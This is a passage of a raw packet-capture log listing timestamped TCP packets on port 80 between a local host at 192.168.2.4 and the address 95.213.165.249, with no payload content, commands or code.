Dec 1, 2021 09:13:57.874903917 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.874932051 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874969959 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.874979973 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875008106 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875045061 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875056028 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875085115 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875122070 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875132084 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875159979 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875199080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875214100 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875235081 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875278950 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875292063 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875329018 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875336885 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875372887 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875390053 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875411034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875423908 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875448942 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875473022 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875487089 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875499010 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875525951 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875543118 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875561953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875576973 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875600100 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875621080 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875638962 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875662088 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875674963 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875689030 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875713110 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875731945 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875751019 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875766039 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875799894 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875806093 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875839949 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875875950 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875890017 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875914097 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875937939 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875952959 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875972033 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.875988960 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.875998020 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876027107 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876043081 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876064062 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876077890 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876101017 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876123905 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876138926 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876159906 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876177073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876187086 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876216888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876230001 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876255989 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876260996 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876293898 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876307011 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876332045 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876342058 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876369953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876384974 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876405954 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876420975 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876444101 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876444101 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876481056 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876492977 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876519918 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876529932 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876559019 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876574993 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876595974 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876610041 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876635075 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876652956 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876672029 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876687050 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876708031 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876723051 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876744986 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876765013 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876782894 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876801968 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876821995 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876827955 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876884937 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876899004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876939058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876950979 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.876975060 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.876990080 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.877012968 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.877033949 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.877068043 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.877070904 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.877104998 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.877115965 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.877145052 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.877155066 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.877186060 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.877197981 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.877238989 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.878683090 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.884826899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884865046 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884881020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884896994 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884912968 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884929895 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884949923 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884968996 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884979010 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.884984970 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.884993076 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.885008097 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.885024071 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.885046959 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.885055065 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.885062933 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.885102034 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935105085 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935163021 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935189962 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935203075 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935215950 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935240030 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935242891 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935280085 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935300112 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935317993 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935333967 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935355902 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935360909 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935395002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935405970 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935434103 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935437918 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935472012 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935482025 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935511112 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935520887 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935549974 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935559988 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935586929 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935596943 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935626030 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935638905 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935662985 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935678959 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935700893 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935705900 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935739994 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935750008 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935775995 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935792923 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935821056 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935826063 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935864925 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935868025 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935900927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935905933 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935940027 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935949087 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.935976982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.935986996 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936013937 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936028004 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936053038 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936064005 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936090946 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936105013 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936130047 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936141014 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936163902 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936171055 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936208010 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936212063 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936245918 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936249018 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936284065 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936297894 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936321020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936332941 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936356068 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936358929 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936397076 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936399937 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936435938 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936436892 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936475039 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936485052 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936511040 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936521053 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936548948 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936563015 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936587095 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936598063 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936625004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936640024 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936662912 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936675072 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936700106 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936702013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936741114 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936744928 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936779976 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936779976 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936819077 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936829090 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936863899 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936887980 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936928988 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936932087 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.936966896 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.936971903 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937002897 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937014103 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937041044 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937051058 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937078953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937089920 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937117100 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937127113 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937150955 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937155962 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937191963 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937197924 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937231064 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937232971 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937268972 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937278032 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937304974 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937314987 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937344074 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937354088 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937381983 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937386990 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937421083 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937433958 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937459946 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937496901 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937519073 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937535048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937557936 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937572956 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937597036 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937608957 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937629938 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937648058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937657118 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937685013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937695980 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937724113 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937741995 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937762976 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937777996 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937798977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937802076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937839031 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937849045 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937876940 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937881947 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937912941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937922955 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937952042 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937962055 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.937989950 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.937992096 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938031912 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938055038 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938070059 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938080072 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938107014 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938112974 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938146114 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938152075 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938184023 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938199043 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938220978 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938234091 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938257933 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938257933 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938296080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938306093 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938333988 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938344002 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938390970 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938396931 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938426971 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938436985 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938465118 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938471079 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938503981 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938509941 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938539982 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938545942 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938579082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938582897 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938616037 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.938626051 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.938662052 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942583084 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942620039 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942650080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942681074 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942696095 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942712069 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942739964 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942740917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942771912 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942787886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942800999 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942811966 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942831039 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942857027 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942861080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942878962 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942890882 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942902088 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942920923 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.942939043 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.942959070 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.996700048 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996737003 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996756077 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996773005 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996793032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996792078 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:57.996814013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:57.996830940 CET	80	49763	95.213.165.249	192.168.2.4
